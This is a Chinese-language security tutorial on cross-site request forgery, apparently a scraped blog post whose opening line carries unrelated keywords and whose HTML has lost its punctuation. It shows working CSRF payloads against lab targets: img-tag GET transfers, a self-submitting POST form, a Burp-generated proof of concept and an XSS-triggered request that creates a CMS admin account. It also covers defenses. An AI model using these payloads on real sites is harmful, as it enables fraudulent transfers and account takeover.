怎么做查成绩网站,手机网站怎样做,建设培训学校网站,宁波数控机械加工网跨站请求伪造#xff08;CSRF#xff09;
1.1 CSRF原理
1.1.1 基本概念
跨站请求伪造#xff08;Cross Site Request Forgery#xff0c;CSRF#xff09;是一种攻击#xff0c;它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击CSRF
1.1 CSRF原理
1.1.1 基本概念
跨站请求伪造Cross Site Request ForgeryCSRF是一种攻击它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击攻击的重点在于更改状态的请求而不是盗取数据因为攻击者无法查看伪造请求的响应。
借助于社工的一些帮助例如通过电子邮件或聊天发送链接攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户则成功的CSRF 攻击可以强制用户执行更改状态的请求例如转移资金、修改密码等操作。如果受害者是管理账户CSRF 攻击会危及整个Web 应用程序。
1.1.2 关键点
受害者没有退出登录受害者保持身份认证。CSRF 继承了受害者的身份和特权代表受害者执行非本意的、恶意的操作。CSRF 会借用浏览器中与站点关联的所有身份凭据例如用户的会话CookieIP 地址Windows 域凭据等。
1.1.3 目标
CSRF 的目标是更改用户账户的状态攻击者利用CSRF 发送的请求都是更改状态的请求比如转账、更改密码购买商品等等。CSRF 的场景中攻击者是没有办法获得服务器的响应。
1.2 CSRF 场景
1.2.1 银行账户转账
搭建模拟银行网站 1.2.2 构造虚假网站
构造CSRF攻击连接
meta charsetutf-8
imgsrc./1.jpgbr/
img srchttp://192.168.16.136/bank/action.php?
usernamehackermoney100submit%E4%BA%A4%E6%98%93 alt宝刀在手谁与争锋攻击者通过 img 标签构造GET 请求当浏览器加载图片的时候执行了GET请求链接。
浏览器根据 img 标签中的 SRC 属性请求服务器资源会自动带上身份认证信息。
1.2.3 场景建模 同意浏览器下两个网站信任的网站A和不信任的网站B
环境搭建
银行环境
将bank压缩包解压后创建数据库和表 虚假网站
GET型
meta charsetutf-8
img src./1.jpgbr /
img srchttp://192.168.16.136/bank/action.php?
usernamehackermoney100submit%E4%BA%A4%E6%98%93
alt宝刀在手谁与争锋POST型
meta charsetutf-8
form namecsrf actionhttp://192.168.16.136/bank/action.php methodpost
input typehidden nameusername valuehacker
input typehidden namemoney value100
/form
scriptdocument.csrf.submit()/script
img src./1.jpg br /
!--a hrefjavascript:document.csrf.submit() stylecolor:red;font-size:100px宝刀在手谁与争锋/abr /步骤
使用两个浏览器登录admin和hacker的银行账户 1.admin用户登录银行网址时没有退出登录但是被引诱点击了hacker准备的危险网站进入游戏 2.当admin用户点击危险网站或者在危险网站中刷新的时候就会遭受攻击给hacker用户转账 3.每有一个人点击hacker的危险网站hacker就会进账一百元但是前提是被攻击的用户在没退出网上银行的时候点击hacker的危险网站才会有效 原因
在危险网站中打开F12点击网络本应该之访问self.php网站的但是又访问了bank网站 查看源代码一个img标签中有恶意代码 转账的三要素是原账号转账金额目标账号
原账号在cookie中
点击bank请求查看cookie此cookie是还未退出网上银行登录点击了危险网站的hello用户的cookie 在危险网站中有hello用户网上银行的cookie此时这就是跨站当访问危险网站的时候危险网站又在本浏览器中向网上银行发起请求当危险网站中存储的是网上银行的cookie也会将cookie信息带上那么就形成了转账的三要素。进行了转账。
1.3 CSRF类别
1.3.1 POST方式
meta charsetutf-8
form namecsrf actionhttp://10.4.7.130/bank/action.php methodpost
input typehidden nameusername valuehacker
input typehidden namemoney value100
/form
scriptdocument.csrf.submit()/script
img src./1.jpg br /
!--a hrefjavascript:document.csrf.submit() stylecolor:red;font-size:100px宝刀在手谁与争锋/abr /1.4 CSRF 验证
1.4.1 CSRF PoC generator
Burp Suite 自带插件可以根据请求构造表单进行CSRF 漏洞验证。
打开dvwa 使用bp构建链接
打开bp点击target模块 展开网页路径形成一个目录结构发现有许多的文件或目录上有红点点开红点就会发现有安全风险。
使用bp代理时也会自动检测一些安全风险 点击CSRF修改密码在bp中点击history点击修改密码的链接 在Request中右击找到Engagement tools点击Generate CSRF PoC生成CSRF漏洞验证代码 生成代码后修改密码为123.com点击浏览器中测试生成一个url地址复制url地址 在admin还没有退出dvwa时访问复制的url地址恶意网站 当用户点击Submit request时密码就会被修改 2. CSRF 攻防
2.1 CSRF 实战
2.1.1 与XSS漏洞相结合
攻击者可以利用XSS 触发CSRF 攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程可以构造如下代码
script
xmlhttp new XMLHttpRequest(); xmlhttp.open(post,http://10.4.7.1/cms/admin/user.action.php,false); xmlhttp.setRequestHeader(Content-type,application/x-www-form-urlencoded);
xmlhttp.send(actaddusernameajestpassword123456password2123456button%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
userid0);
/script前提
什么是与XSS相结合就是说这个请求和触发通过js代码来触发。要想触发请求的话先研究目标网站的工作流程得知道网站是否含有XSS漏洞。
结合XSS添加账户
登录cms点击管理员账号点击添加用户xu123456 找到添加账号的数据包将数据保存。
POST /cms/admin/user.action.php HTTP/1.1Host: 192.168.16.136Content-Length: 105Cache-Control: max-age0Upgrade-Insecure-Requests: 1Origin: http://192.168.16.136Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9Referer: http://192.168.16.136/cms/admin/user.add.php?actaddAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q0.9Cookie: usernameadmin; userid1; PHPSESSIDo4h4avhnt0km9mnq89vbj97g32Connection: closeactaddusernamexupassword123456password2123456button%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7userid0因为请求和触发通过js代码来触发open中的地址改为cms的地址send中添加抓取的数据包中的act
script
xmlhttp new XMLHttpRequest();
xmlhttp.open(post,http://192.168.16.136/cms/admin/user.action.php,false);
xmlhttp.setRequestHeader(Content-type,application/x-www-form-urlencoded);
xmlhttp.send(actaddusernamexujiepassword991207password2991207button%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7userid0);
/script在cms系统首页中点击留言板在留言板中添加数据 提交管理员进行留言管理当看见留言时已遭受攻击使用创建的用户密码登录 2.2 CSRF 防御
2.2.1 无效防御
使用秘密的Cookie将存储在浏览器端用来身份认证的cookie信息进行加密。
仅接收POST 请求。
多步交易多步交易有可能会被恶意攻击者预测。
URL 重写用户的身份信息会暴露在URL 中不建议通过引入另外一个漏洞来解决当前漏洞。
HTTPS所有安全机制的前提。
2.2.2 有效防御
验证Referer 字段
前URL 的上一个URL转账页面到转账操作伪造
添加Token 验证 二次验证在关键操作之前再输入密码或者验证码。
HttpOnlycookie安全机制某些情况下禁止JS 脚本访问Cookie 信息。
在phpstudy中的根目录下创建文件夹phpphp中创建文件夹funcitions在此文件夹下创建setcookie.php,setcookie是php的函数用来下发cookie信息的在php.net中查看setcookie中有七个参数
PHP:setcookie ?phpsetcookie(username,xujie,time()3600),,,,true)
?先不添加true参数
?php setcookie(username,xujie,time()3600),,,)
?打开浏览器访问setcookie.php页面什么也没有 打开F12 点击Console输入alert(document.cookie);cookie信息显现 点击Application点击cookiehttponly没有选择 删除cookie重新点击Console输入alert(document.cookie);没有cookie 访问添加了true的setcookie.php页面
打开F12 点击Console输入alert(document.cookie);cookie信息没有显现 点击Application点击cookie有cookie并且开启httponly SameSiteCookie 属性浏览器自带安全机制。